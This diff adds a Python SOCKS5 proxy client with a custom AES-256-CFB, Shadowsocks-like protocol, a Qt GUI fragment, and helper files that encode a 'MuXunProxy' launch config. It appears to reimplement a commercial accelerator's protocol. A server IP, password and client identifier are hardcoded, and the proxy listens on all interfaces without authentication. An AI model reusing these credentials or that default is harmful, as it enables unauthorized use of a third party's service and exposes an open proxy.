p = (app_base_dir() / p).resolve()
|
||||
ext = p.suffix.lower()
|
||||
if ext in (".exe", ".bat", ".cmd"):
|
||||
return str(p), base_args
|
||||
if ext in (".py", ""):
|
||||
return sys.executable, [str(p), *base_args]
|
||||
return str(p), base_args
|
||||
|
||||
def _append_log(self, line: str) -> None:
|
||||
self.text_log.append(line)
|
||||
self.text_log.moveCursor(QTextCursor.End)
|
||||
|
||||
def closeEvent(self, event) -> None: # noqa: N802 - Qt 命名约定
|
||||
try:
|
||||
self.stop_process()
|
||||
self._save_all()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
for t in self.latency_threads:
|
||||
t.terminate()
|
||||
except Exception:
|
||||
pass
|
||||
event.accept()
|
||||
|
||||
|
||||
def main() -> None:
|
||||
app = QApplication(sys.argv)
|
||||
gui = SsGui()
|
||||
gui.show()
|
||||
sys.exit(app.exec())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
1220
python/nodes.json
Normal file
1220
python/nodes.json
Normal file
File diff suppressed because it is too large
Load Diff
1
python/output.txt
Normal file
1
python/output.txt
Normal file
@ -0,0 +1 @@
|
||||
MuXunProxy.exe --mx EYjSB2nHBf9HzgrYzxnZiJOGiJaUmc4WlJaIlcaIBg9JywXFCg9YDci6idiXmtGWlcaIC2vYDMvYiJOGiJeYms4Xnc4XntiUmtq5iIWGiNnLCNzLCL9WB3j0iJOGmtaWmdqSicjTzxrOB2qIoIaIywvZlti1nI1JzMiIlcaICgfZC3DVCMqIoIaIzhD6muD0rJCIlcaIBxHFAgvHzf9ZDhiIoIaIy29TlNDPBJy0lM9WCgmUz2fTzs5JB21TB246mJiWmJe3mdKSmtaYmdi0mdGWmdiWntqXmJC5iIWGiLbSDwDPBK5HBwuIoIbUDwXSlcaIugX1z2LUt3b0Aw9UiJOGBNvSBcWGiKnVBMzPz1r5CguIoIaWFq== -u --no-delay --fast-open -zv
|
||||
BIN
python/payload.txt
Normal file
BIN
python/payload.txt
Normal file
Binary file not shown.
22
python/proxy.py
Normal file
22
python/proxy.py
Normal file
@ -0,0 +1,22 @@
|
||||
import base64
|
||||
import json
|
||||
|
||||
node = {
|
||||
"local_address": "0.0.0.0",
|
||||
"local_port": 21180,
|
||||
"server": "121.14.152.149",
|
||||
"server_port": 10004,
|
||||
"method": "aes-256-cfb",
|
||||
"password": "dwz1GtF7",
|
||||
"mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279",
|
||||
"PluginName": None,
|
||||
"PluginOption": None,
|
||||
"ConfigType": 0,
|
||||
}
|
||||
|
||||
formatted = f"MuXunProxy.exe --mx {base64.b64encode(json.dumps(node).encode(encoding='utf-8')).decode(encoding='utf-8').swapcase()} -u --no-delay --fast-open -zv"
|
||||
|
||||
print(formatted)
|
||||
|
||||
with open("output.txt", "wb") as F:
|
||||
F.write(formatted.encode(encoding="UTF-8"))
|
||||
14
python/settings.json
Normal file
14
python/settings.json
Normal file
@ -0,0 +1,14 @@
|
||||
{
|
||||
"local_port": 21292,
|
||||
"tun_settings": {
|
||||
"tun2socks_path": "C:/Users/Galaxy/PycharmProjects/MuXunGUI/tun2socks.exe",
|
||||
"tap_name": "MuXunTAP",
|
||||
"tun_ip": "10.0.0.2",
|
||||
"tun_mask": "255.255.255.0",
|
||||
"tun_gw": "10.0.0.1",
|
||||
"dns": "1.1.1.1",
|
||||
"mtu": 1500,
|
||||
"apply_route_dns": false,
|
||||
"driver": "wintun"
|
||||
}
|
||||
}
|
||||
694
python/ss.py
Normal file
694
python/ss.py
Normal file
@ -0,0 +1,694 @@
|
||||
from __future__ import annotations
|
||||
|
||||
try:
|
||||
import uvloop # type: ignore
|
||||
uvloop.install()
|
||||
except Exception:
|
||||
pass # 环境不支持就优雅降级
|
||||
|
||||
import argparse
|
||||
import asyncio
|
||||
import hashlib
|
||||
import ipaddress
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
try:
|
||||
from cachetools import TTLCache
|
||||
except ImportError:
|
||||
raise SystemExit("cachetools not found. Install with: pip install cachetools")
|
||||
|
||||
try:
|
||||
# PyCryptodome
|
||||
from Crypto.Cipher import AES # type: ignore
|
||||
except Exception as exc: # pragma: no cover - import-time
|
||||
raise SystemExit(
|
||||
"PyCryptodome not found. Install with: pip install pycryptodome"
|
||||
) from exc
|
||||
|
||||
|
||||
try:
|
||||
# dnslib
|
||||
from dnslib import DNSRecord, DNSHeader, DNSQuestion, QTYPE
|
||||
except Exception as exc: # pragma: no cover - import-time
|
||||
raise SystemExit(
|
||||
"dnslib not found. Install with: pip install dnslib"
|
||||
) from exc
|
||||
|
||||
|
||||
# ------------------------------ Configuration ------------------------------ #
|
||||
|
||||
DOMAIN_LISTS = ["google.com", "youtube.com", "github.com", "githubassets.com", "ggpht.com","googlevideo.com","ytimg.com"]
|
||||
|
||||
|
||||
@dataclass
|
||||
class Config:
|
||||
"""Runtime configuration for the client."""
|
||||
|
||||
remote_host: str
|
||||
remote_port: int
|
||||
password: str
|
||||
mx_head_str: str
|
||||
listen_host: str = "127.0.0.1"
|
||||
listen_port: int = 1080
|
||||
recv_buf: int = 64 * 1024
|
||||
connect_timeout: float = 10.0
|
||||
udp_timeout: float = 180.0 # seconds to keep UDP mappings
|
||||
|
||||
|
||||
# ------------------------------ Crypto helpers ----------------------------- #
|
||||
|
||||
def kdf_pseudo_evp_bytes_to_key(password: bytes) -> bytes:
|
||||
"""Derive a 32-byte AES-256 key using two-round MD5 (per document).
|
||||
|
||||
Args:
|
||||
password: raw password bytes.
|
||||
Returns:
|
||||
32-byte key.
|
||||
"""
|
||||
h1 = hashlib.md5(password).digest() # first 16 bytes
|
||||
h2 = hashlib.md5(h1 + password).digest() # second 16 bytes
|
||||
return h1 + h2 # 32 bytes total
|
||||
|
||||
|
||||
class AesCfbStream:
|
||||
"""Stateful AES-256-CFB128 for a single TCP direction (fixed IV)."""
|
||||
|
||||
def __init__(self, key: bytes, iv: bytes) -> None:
|
||||
assert len(key) == 32, "AES-256 requires 32-byte key"
|
||||
assert len(iv) == 16, "IV must be 16 bytes"
|
||||
self._cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
|
||||
|
||||
def encrypt(self, data: bytes) -> bytes:
|
||||
return self._cipher.encrypt(data)
|
||||
|
||||
def decrypt(self, data: bytes) -> bytes:
|
||||
return self._cipher.decrypt(data)
|
||||
|
||||
|
||||
# ------------------------------ SOCKS5 parsing ----------------------------- #
|
||||
|
||||
class Socks5Error(Exception):
|
||||
pass
|
||||
|
||||
|
||||
@dataclass
|
||||
class Socks5Request:
|
||||
cmd: int
|
||||
atyp: int
|
||||
host: str
|
||||
port: int
|
||||
|
||||
|
||||
async def socks5_handshake(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
|
||||
"""Perform the no-auth SOCKS5 handshake."""
|
||||
# Greeting: VER | NMETHODS | METHODS...
|
||||
data = await reader.readexactly(2)
|
||||
ver, nmethods = data[0], data[1]
|
||||
if ver != 5:
|
||||
raise Socks5Error("Only SOCKS5 is supported")
|
||||
_ = await reader.readexactly(nmethods) # consume methods
|
||||
# Reply: VER | METHOD(=0x00 no auth)
|
||||
writer.write(b"\x05\x00")
|
||||
await writer.drain()
|
||||
|
||||
|
||||
async def socks5_read_request(reader: asyncio.StreamReader) -> Socks5Request:
|
||||
"""Read a SOCKS5 request (CONNECT or UDP ASSOCIATE)."""
|
||||
header = await reader.readexactly(4)
|
||||
ver, cmd, _, atyp = header
|
||||
if ver != 5:
|
||||
raise Socks5Error("Bad request version")
|
||||
# Read DST.ADDR + DST.PORT by ATYP
|
||||
if atyp == 0x01: # IPv4
|
||||
addr = await reader.readexactly(4)
|
||||
host = socket.inet_ntop(socket.AF_INET, addr)
|
||||
port = struct.unpack("!H", await reader.readexactly(2))[0]
|
||||
elif atyp == 0x03: # DOMAIN
|
||||
ln = (await reader.readexactly(1))[0]
|
||||
host = (await reader.readexactly(ln)).decode("utf-8", "strict")
|
||||
port = struct.unpack("!H", await reader.readexactly(2))[0]
|
||||
elif atyp == 0x04: # IPv6
|
||||
addr = await reader.readexactly(16)
|
||||
host = socket.inet_ntop(socket.AF_INET6, addr)
|
||||
port = struct.unpack("!H", await reader.readexactly(2))[0]
|
||||
else:
|
||||
raise Socks5Error(f"Unsupported ATYP {atyp:#x}")
|
||||
return Socks5Request(cmd=cmd, atyp=atyp, host=host, port=port)
|
||||
|
||||
|
||||
def socks5_reply(writer: asyncio.StreamWriter, rep_code: int, bind_host: str, bind_port: int) -> None:
|
||||
"""Send a SOCKS5 reply with the given bind address."""
|
||||
try:
|
||||
ip = ipaddress.ip_address(bind_host)
|
||||
if isinstance(ip, ipaddress.IPv4Address):
|
||||
addr = b"\x01" + ip.packed
|
||||
else:
|
||||
addr = b"\x04" + ip.packed
|
||||
except ValueError:
|
||||
host_b = bind_host.encode("utf-8")
|
||||
addr = b"\x03" + bytes([len(host_b)]) + host_b
|
||||
writer.write(b"\x05" + bytes([rep_code]) + b"\x00" + addr + struct.pack("!H", bind_port))
|
||||
|
||||
|
||||
# --------------------------- Address encoding ------------------------------ #
|
||||
|
||||
class AddressEncoder:
|
||||
"""Encode address blocks per the document for TCP/UDP directions."""
|
||||
|
||||
@staticmethod
|
||||
def encode_tcp(atyp: int, host: str, port: int) -> bytes:
|
||||
"""Encode address using custom type values (ATYP+0x60).
|
||||
|
||||
0x61 IPv4, 0x63 Domain, 0x64 IPv6
|
||||
"""
|
||||
if atyp == 0x01: # IPv4
|
||||
atyp_out = 0x61
|
||||
host_bytes = ipaddress.IPv4Address(host).packed
|
||||
elif atyp == 0x03: # Domain
|
||||
atyp_out = 0x63
|
||||
host_ascii = host.encode("utf-8")
|
||||
if len(host_ascii) > 255:
|
||||
raise Socks5Error("Domain too long for single-byte length")
|
||||
host_bytes = bytes([len(host_ascii)]) + host_ascii
|
||||
elif atyp == 0x04: # IPv6
|
||||
atyp_out = 0x64
|
||||
host_bytes = ipaddress.IPv6Address(host).packed
|
||||
else:
|
||||
raise Socks5Error(f"Unsupported ATYP {atyp:#x}")
|
||||
return bytes([atyp_out]) + host_bytes + struct.pack("!H", port)
|
||||
|
||||
@staticmethod
|
||||
def encode_udp(atyp: int, host: str, port: int) -> bytes:
|
||||
"""Encode address using **standard SOCKS5** values for UDP."""
|
||||
if atyp == 0x01:
|
||||
host_bytes = ipaddress.IPv4Address(host).packed
|
||||
elif atyp == 0x03:
|
||||
host_ascii = host.encode("utf-8")
|
||||
if len(host_ascii) > 255:
|
||||
raise Socks5Error("Domain too long for single-byte length")
|
||||
host_bytes = bytes([len(host_ascii)]) + host_ascii
|
||||
elif atyp == 0x04:
|
||||
host_bytes = ipaddress.IPv6Address(host).packed
|
||||
else:
|
||||
raise Socks5Error(f"Unsupported ATYP {atyp:#x}")
|
||||
return bytes([atyp]) + host_bytes + struct.pack("!H", port)
|
||||
|
||||
|
||||
|
||||
class UdpAssociation:
|
||||
|
||||
def __init__(self, cfg: Config, key: bytes) -> None:
|
||||
self.cfg = cfg
|
||||
self.key = key
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self.sock.bind((cfg.listen_host, 0)) # ephemeral port per association
|
||||
self.sock.setblocking(False)
|
||||
self.remote_tuple = (cfg.remote_host, cfg.remote_port)
|
||||
# Map the last client (host,port) per destination address-block to route replies
|
||||
self._dst_to_client: Dict[bytes, Tuple[str, int]] = {}
|
||||
self._dst_ttl: Dict[bytes, float] = {}
|
||||
self._last_client: Optional[Tuple[str, int]] = None
|
||||
|
||||
@property
|
||||
def bind_addr(self) -> Tuple[str, int]:
|
||||
return self.sock.getsockname()
|
||||
|
||||
def close(self) -> None:
|
||||
try:
|
||||
self.sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
async def run(self) -> None:
|
||||
loop = asyncio.get_running_loop()
|
||||
while True:
|
||||
try:
|
||||
data, addr = await loop.sock_recvfrom(self.sock, 65536)
|
||||
except (asyncio.CancelledError, RuntimeError):
|
||||
break
|
||||
except Exception as e:
|
||||
logging.warning("UDP recv error: %s", e)
|
||||
continue
|
||||
|
||||
try:
|
||||
if addr == self.remote_tuple:
|
||||
await self._handle_from_remote(data)
|
||||
else: # from local app
|
||||
await self._handle_from_local(data, addr)
|
||||
except Exception as e:
|
||||
logging.debug("UDP handle error: %s", e)
|
||||
|
||||
# Periodic cleanup for map TTL
|
||||
now = time.time()
|
||||
expired = [k for k, t in self._dst_ttl.items() if now - t > self.cfg.udp_timeout]
|
||||
for k in expired:
|
||||
self._dst_ttl.pop(k, None)
|
||||
self._dst_to_client.pop(k, None)
|
||||
|
||||
async def _handle_from_local(self, data: bytes, client_addr: Tuple[str, int]) -> None:
|
||||
# Parse SOCKS5 UDP Request
|
||||
if len(data) < 3:
|
||||
return
|
||||
rsv, frag = data[:2], data[2]
|
||||
if rsv != b"\x00\x00" or frag != 0:
|
||||
# We don't support fragmentation; RFC says FRAG must be 0
|
||||
return
|
||||
buf = memoryview(data)[3:]
|
||||
if not buf:
|
||||
return
|
||||
atyp = buf[0]
|
||||
idx = 1
|
||||
try:
|
||||
if atyp == 0x01: # IPv4
|
||||
host = socket.inet_ntop(socket.AF_INET, bytes(buf[idx: idx+4]))
|
||||
idx += 4
|
||||
elif atyp == 0x03:
|
||||
ln = buf[idx]
|
||||
idx += 1
|
||||
host = bytes(buf[idx: idx+ln]).decode('utf-8', 'strict')
|
||||
idx += ln
|
||||
elif atyp == 0x04:
|
||||
host = socket.inet_ntop(socket.AF_INET6, bytes(buf[idx: idx+16]))
|
||||
idx += 16
|
||||
else:
|
||||
return
|
||||
port = struct.unpack('!H', bytes(buf[idx: idx+2]))[0]
|
||||
idx += 2
|
||||
except Exception:
|
||||
return
|
||||
|
||||
payload = bytes(buf[idx:]) # rest is DATA
|
||||
addr_block = AddressEncoder.encode_udp(atyp, host, port)
|
||||
|
||||
# Route mapping for reply
|
||||
self._dst_to_client[addr_block] = client_addr
|
||||
self._dst_ttl[addr_block] = time.time()
|
||||
self._last_client = client_addr
|
||||
|
||||
# Build SS UDP: IV + CFB128([addr][payload])
|
||||
iv = os.urandom(16)
|
||||
cipher = AES.new(self.key, AES.MODE_CFB, iv=iv, segment_size=128)
|
||||
ct = cipher.encrypt(addr_block + payload)
|
||||
out = iv + ct
|
||||
try:
|
||||
await asyncio.get_running_loop().sock_sendto(self.sock, out, self.remote_tuple)
|
||||
except Exception as e:
|
||||
logging.debug("UDP send remote failed: %s", e)
|
||||
|
||||
async def _handle_from_remote(self, data: bytes) -> None:
|
||||
if len(data) < 16:
|
||||
return
|
||||
iv, ct = data[:16], data[16:]
|
||||
cipher = AES.new(self.key, AES.MODE_CFB, iv=iv, segment_size=128)
|
||||
plain = cipher.decrypt(ct)
|
||||
|
||||
# plain = [ATYP|ADDR|PORT|PAYLOAD]
|
||||
mv = memoryview(plain)
|
||||
atyp = mv[0]
|
||||
idx = 1
|
||||
try:
|
||||
if atyp == 0x01:
|
||||
addr_len = 4
|
||||
idx2 = idx + addr_len
|
||||
host_bytes = bytes(mv[idx:idx2])
|
||||
host = socket.inet_ntop(socket.AF_INET, host_bytes)
|
||||
idx = idx2
|
||||
elif atyp == 0x03:
|
||||
ln = mv[idx]
|
||||
idx += 1
|
||||
host = bytes(mv[idx: idx+ln]).decode('utf-8', 'strict')
|
||||
idx += ln
|
||||
elif atyp == 0x04:
|
||||
addr_len = 16
|
||||
idx2 = idx + addr_len
|
||||
host_bytes = bytes(mv[idx:idx2])
|
||||
host = socket.inet_ntop(socket.AF_INET6, host_bytes)
|
||||
idx = idx2
|
||||
else:
|
||||
return
|
||||
port = struct.unpack('!H', bytes(mv[idx: idx+2]))[0]
|
||||
idx += 2
|
||||
except Exception:
|
||||
return
|
||||
|
||||
addr_block = AddressEncoder.encode_udp(int(atyp), host, int(port))
|
||||
payload = bytes(mv[idx:])
|
||||
|
||||
# Pick destination client
|
||||
client = self._dst_to_client.get(addr_block) or self._last_client
|
||||
if not client:
|
||||
return
|
||||
|
||||
# Wrap back into SOCKS5 UDP Response: RSV|FRAG(0)|addr|payload
|
||||
resp = b"\x00\x00\x00" + addr_block + payload
|
||||
try:
|
||||
await asyncio.get_running_loop().sock_sendto(self.sock, resp, client)
|
||||
except Exception as e:
|
||||
logging.debug("UDP send local failed: %s", e)
|
||||
|
||||
|
||||
# --------------------------- TCP connection logic -------------------------- #
|
||||
|
||||
class TcpBridge:
|
||||
"""Bridge one local SOCKS5 connection to the remote server with encryption."""
|
||||
|
||||
def __init__(self, cfg: Config, client_reader: asyncio.StreamReader, client_writer: asyncio.StreamWriter) -> None:
|
||||
|
||||
self.cfg = cfg
|
||||
self.client_reader = client_reader
|
||||
self.client_writer = client_writer
|
||||
self.server_reader: Optional[asyncio.StreamReader] = None
|
||||
self.server_writer: Optional[asyncio.StreamWriter] = None
|
||||
self._down_dec: Optional[AesCfbStream] = None # server -> client
|
||||
self._up_enc: Optional[AesCfbStream] = None # client -> server
|
||||
self._udp_assoc: Optional[UdpAssociation] = None
|
||||
# Global cache for DNS A records and a reusable UDP socket for resolving
|
||||
self._dns_cache: TTLCache = TTLCache(maxsize=4096, ttl=300)
|
||||
self._dns_udp_tunnel: Optional[UdpAssociation] = None
|
||||
|
||||
async def _resolve_host_udp(self, host: str, key: bytes) -> str:
|
||||
"""Resolve a hostname to an IP using a cached, reused UDP association."""
|
||||
if host in self._dns_cache:
|
||||
cached_ip = self._dns_cache[host]
|
||||
logging.debug(f"DNS cache hit for {host} -> {cached_ip}")
|
||||
return cached_ip
|
||||
|
||||
logging.debug(f"Resolving {host} via UDP tunnel...")
|
||||
if self._dns_udp_tunnel is None:
|
||||
self._dns_udp_tunnel = UdpAssociation(self.cfg, key)
|
||||
|
||||
udp_assoc = self._dns_udp_tunnel
|
||||
loop = asyncio.get_running_loop()
|
||||
try:
|
||||
q = DNSRecord(q=DNSQuestion(host, QTYPE.A))
|
||||
query_payload = q.pack()
|
||||
addr_block = AddressEncoder.encode_udp(0x01, "8.8.8.8", 53)
|
||||
iv = os.urandom(16)
|
||||
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
|
||||
ct = cipher.encrypt(addr_block + query_payload)
|
||||
out = iv + ct
|
||||
await loop.sock_sendto(udp_assoc.sock, out, udp_assoc.remote_tuple)
|
||||
|
||||
data, _ = await asyncio.wait_for(
|
||||
loop.sock_recvfrom(udp_assoc.sock, 65536),
|
||||
timeout=self.cfg.connect_timeout
|
||||
)
|
||||
|
||||
if len(data) < 16:
|
||||
raise Socks5Error("UDP DNS response too short")
|
||||
iv, ct = data[:16], data[16:]
|
||||
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
|
||||
plain = cipher.decrypt(ct)
|
||||
|
||||
mv = memoryview(plain)
|
||||
atyp = mv[0]
|
||||
idx = 1
|
||||
try:
|
||||
if atyp == 0x01:
|
||||
idx += 4 + 2
|
||||
elif atyp == 0x04:
|
||||
idx += 16 + 2
|
||||
else:
|
||||
raise Socks5Error(f"Unexpected ATYP {atyp} in DNS UDP response")
|
||||
except Exception as e:
|
||||
raise Socks5Error(f"Failed to parse DNS UDP response header: {e}")
|
||||
|
||||
dns_response_payload = bytes(mv[idx:])
|
||||
resp = DNSRecord.parse(dns_response_payload)
|
||||
|
||||
for rr in resp.rr:
|
||||
if rr.rtype == QTYPE.A:
|
||||
ip = str(rr.rdata)
|
||||
logging.debug(f"Resolved {host} to {ip}, caching.")
|
||||
self._dns_cache[host] = ip
|
||||
return ip
|
||||
|
||||
raise Socks5Error(f"Could not resolve A record for {host}")
|
||||
|
||||
except asyncio.TimeoutError:
|
||||
raise Socks5Error(f"DNS query for {host} timed out")
|
||||
except Exception:
|
||||
# If the tunnel fails, close it so a new one is created next time.
|
||||
if self._dns_udp_tunnel:
|
||||
self._dns_udp_tunnel.close()
|
||||
self._dns_udp_tunnel = None
|
||||
raise
|
||||
|
||||
async def run(self) -> None:
|
||||
key = kdf_pseudo_evp_bytes_to_key(self.cfg.password.encode("utf-8"))
|
||||
try:
|
||||
await socks5_handshake(self.client_reader, self.client_writer)
|
||||
req = await socks5_read_request(self.client_reader)
|
||||
|
||||
if req.cmd == 0x01: # CONNECT
|
||||
await self._handle_connect(req, key)
|
||||
elif req.cmd == 0x03: # UDP ASSOCIATE
|
||||
await self._handle_udp_associate(key)
|
||||
else:
|
||||
raise Socks5Error("Unsupported CMD (only CONNECT, UDP ASSOCIATE)")
|
||||
except Exception as e:
|
||||
logging.exception("Bridge error: %s", e)
|
||||
finally:
|
||||
try:
|
||||
self.client_writer.close()
|
||||
await self.client_writer.wait_closed()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
if self.server_writer:
|
||||
self.server_writer.close()
|
||||
await self.server_writer.wait_closed()
|
||||
except Exception:
|
||||
pass
|
||||
if self._udp_assoc:
|
||||
self._udp_assoc.close()
|
||||
if self._dns_udp_tunnel:
|
||||
self._dns_udp_tunnel.close()
|
||||
|
||||
async def _handle_connect(self, req: Socks5Request, key: bytes) -> None:
|
||||
# For domain names, decide whether to resolve via UDP or pass through
|
||||
if req.atyp == 0x03: # Domain
|
||||
# Check if the requested host matches our special list for UDP DNS resolution
|
||||
should_resolve_udp = any(req.host.endswith(domain) for domain in DOMAIN_LISTS)
|
||||
|
||||
if should_resolve_udp:
|
||||
logging.debug(f"Host {req.host} is in DOMAIN_LISTS, resolving via UDP DNS.")
|
||||
try:
|
||||
resolved_ip = await self._resolve_host_udp(req.host, key)
|
||||
# Mutate the request to use the resolved IP
|
||||
req.host = resolved_ip
|
||||
req.atyp = 0x01 # IPv4
|
||||
except Exception as e:
|
||||
logging.error(f"DNS resolution failed for {req.host}: {e}")
|
||||
# Send failure reply to client
|
||||
socks5_reply(self.client_writer, 0x04, "0.0.0.0", 0) # Host unreachable
|
||||
await self.client_writer.drain()
|
||||
return
|
||||
else:
|
||||
logging.debug(f"Host {req.host} not in DOMAIN_LISTS, passing through as domain.")
|
||||
# For other domains, we pass them directly to the server.
|
||||
# req.atyp remains 0x03, and req.host is the domain name.
|
||||
pass
|
||||
|
||||
# Establish remote TCP
|
||||
await self._connect_remote()
|
||||
|
||||
# First upstream body: [address][mx_head_str]
|
||||
addr = AddressEncoder.encode_tcp(req.atyp, req.host, req.port)
|
||||
mx = self._encode_mx(self.cfg.mx_head_str)
|
||||
first_body = addr + mx
|
||||
|
||||
# Send: [client_iv][ciphertext(first_body)]
|
||||
client_iv = os.urandom(16)
|
||||
self._up_enc = AesCfbStream(key, client_iv)
|
||||
assert self.server_writer is not None
|
||||
self.server_writer.write(client_iv + self._up_enc.encrypt(first_body))
|
||||
await self.server_writer.drain()
|
||||
|
||||
# Reply success to local app
|
||||
socks5_reply(self.client_writer, 0x00, "0.0.0.0", 0)
|
||||
await self.client_writer.drain()
|
||||
|
||||
# Start pipes
|
||||
await asyncio.gather(self._pipe_upstream(), self._pipe_downstream(key))
|
||||
|
||||
async def _handle_udp_associate(self, key: bytes) -> None:
|
||||
# Create per-association UDP socket and start loop
|
||||
self._udp_assoc = UdpAssociation(self.cfg, key)
|
||||
bind_host, bind_port = self._udp_assoc.bind_addr
|
||||
|
||||
# Reply with the UDP relay address for this association
|
||||
socks5_reply(self.client_writer, 0x00, bind_host, bind_port)
|
||||
await self.client_writer.drain()
|
||||
|
||||
# Run UDP loop while TCP control stays open (client closes to end association)
|
||||
try:
|
||||
await asyncio.gather(
|
||||
self._udp_assoc.run(),
|
||||
self._consume_until_eof(self.client_reader), # hold the control channel open
|
||||
)
|
||||
finally:
|
||||
self._udp_assoc.close()
|
||||
|
||||
async def _consume_until_eof(self, reader: asyncio.StreamReader) -> None:
|
||||
while await reader.read(1024):
|
||||
pass
|
||||
|
||||
async def _connect_remote(self) -> None:
|
||||
# Use a custom socket to enable TCP Fast Open
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
# TCP_FASTOPEN is available on Linux 3.7+, macOS 10.11+, Windows 10+
|
||||
# The value 5 is a queue size, as per Linux docs.
|
||||
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_FASTOPEN, 5)
|
||||
except (OSError, AttributeError):
|
||||
logging.debug("TCP Fast Open not supported on this system.")
|
||||
pass # Ignore if not supported
|
||||
|
||||
sock.setblocking(False)
|
||||
|
||||
try:
|
||||
await asyncio.wait_for(
|
||||
asyncio.get_running_loop().sock_connect(sock, (self.cfg.remote_host, self.cfg.remote_port)),
|
||||
timeout=self.cfg.connect_timeout
|
||||
)
|
||||
except asyncio.TimeoutError:
|
||||
sock.close()
|
||||
raise Socks5Error("Connection timed out")
|
||||
except Exception as e:
|
||||
sock.close()
|
||||
raise e
|
||||
|
||||
self.server_reader, self.server_writer = await asyncio.open_connection(sock=sock)
|
||||
|
||||
# Set other TCP options for performance
|
||||
sock = self.server_writer.get_extra_info("socket")
|
||||
if sock:
|
||||
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1 << 20)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1 << 20)
|
||||
# Loopback Fast Path (Windows 8+)
|
||||
try:
|
||||
SIO_LOOPBACK_FAST_PATH = 0x98000010
|
||||
sock.ioctl(SIO_LOOPBACK_FAST_PATH, 1)
|
||||
except (OSError, AttributeError):
|
||||
pass # Ignore if not supported
|
||||
# Set TCP options for performance
|
||||
sock = self.server_writer.get_extra_info("socket")
|
||||
if sock:
|
||||
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1 << 20)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1 << 20)
|
||||
# Loopback Fast Path (Windows 8+)
|
||||
try:
|
||||
SIO_LOOPBACK_FAST_PATH = 0x98000010
|
||||
sock.ioctl(SIO_LOOPBACK_FAST_PATH, 1)
|
||||
except (OSError, AttributeError):
|
||||
pass # Ignore if not supported
|
||||
|
||||
async def _pipe_upstream(self) -> None:
|
||||
"""Local -> Remote. After first packet, we stream pure ciphertext."""
|
||||
assert self._up_enc is not None and self.server_writer is not None
|
||||
while True:
|
||||
data = await self.client_reader.read(self.cfg.recv_buf)
|
||||
if not data:
|
||||
break
|
||||
ct = self._up_enc.encrypt(data)
|
||||
self.server_writer.write(ct)
|
||||
# With TFO, the first write might happen before the connection is fully established.
|
||||
# A drain is needed to ensure data is sent after the handshake completes.
|
||||
# For subsequent writes, we also drain when the buffer is large.
|
||||
if self.server_writer.transport.get_write_buffer_size() > (1 << 20): # 1MiB
|
||||
await self.server_writer.drain()
|
||||
|
||||
async def _pipe_downstream(self, key: bytes) -> None:
|
||||
"""Remote -> Local. First read yields [server_iv][ciphertext], then pure ciphertext."""
|
||||
assert self.server_reader is not None
|
||||
# Read until we've got at least 16 bytes for server IV
|
||||
buf = bytearray()
|
||||
while len(buf) < 16:
|
||||
chunk = await self.server_reader.read(self.cfg.recv_buf)
|
||||
if not chunk:
|
||||
return # server closed early
|
||||
buf += chunk
|
||||
server_iv, rest = bytes(buf[:16]), bytes(buf[16:])
|
||||
self._down_dec = AesCfbStream(key, server_iv)
|
||||
# Decrypt any remaining data from the first read
|
||||
if rest:
|
||||
try:
|
||||
self.client_writer.write(self._down_dec.decrypt(rest))
|
||||
await self.client_writer.drain()
|
||||
except Exception:
|
||||
return
|
||||
# Continue streaming ciphertext only
|
||||
while True:
|
||||
data = await self.server_reader.read(self.cfg.recv_buf)
|
||||
if not data:
|
||||
break
|
||||
pt = self._down_dec.decrypt(data)
|
||||
self.client_writer.write(pt)
|
||||
await self.client_writer.drain()
|
||||
|
||||
@staticmethod
|
||||
def _encode_mx(mx: str) -> bytes:
|
||||
s = mx.encode("utf-8")
|
||||
if len(s) > 255:
|
||||
raise ValueError("mx_head_str too long (max 255)")
|
||||
return bytes([len(s)]) + s
|
||||
|
||||
|
||||
# ------------------------------ Server loop -------------------------------- #
|
||||
|
||||
async def handle_client(cfg: Config, reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
|
||||
peer = writer.get_extra_info("peername")
|
||||
logging.info("Client from %s", peer)
|
||||
bridge = TcpBridge(cfg, reader, writer)
|
||||
await bridge.run()
|
||||
|
||||
|
||||
async def run_server(cfg: Config) -> None:
|
||||
server = await asyncio.start_server(lambda r, w: handle_client(cfg, r, w), host=cfg.listen_host, port=cfg.listen_port)
|
||||
addrs = ", ".join(str(sock.getsockname()) for sock in server.sockets or [])
|
||||
logging.info("Listening on %s (SOCKS5)", addrs)
|
||||
async with server:
|
||||
await server.serve_forever()
|
||||
|
||||
|
||||
def parse_args() -> Config:
|
||||
p = argparse.ArgumentParser(description="Custom AES-256-CFB SS-like client (TCP)")
|
||||
p.add_argument("--remote-host", default="121.14.152.149", help="Remote server hostname or IP")
|
||||
p.add_argument("--remote-port", type=int,default="10004", help="Remote server TCP port")
|
||||
p.add_argument("--password", default="dwz1GtF7", help="Shared password")
|
||||
p.add_argument("--mx", dest="mx_head_str", default="com.win64.oppc.game.common:22021709,102024080020541279", help="Fixed mx_head_str")
|
||||
p.add_argument("--listen", default="0.0.0.0", help="Local listen host (default 127.0.0.1)")
|
||||
p.add_argument("--port", dest="listen_port", type=int, default=10807, help="Local listen port (default 1080)")
|
||||
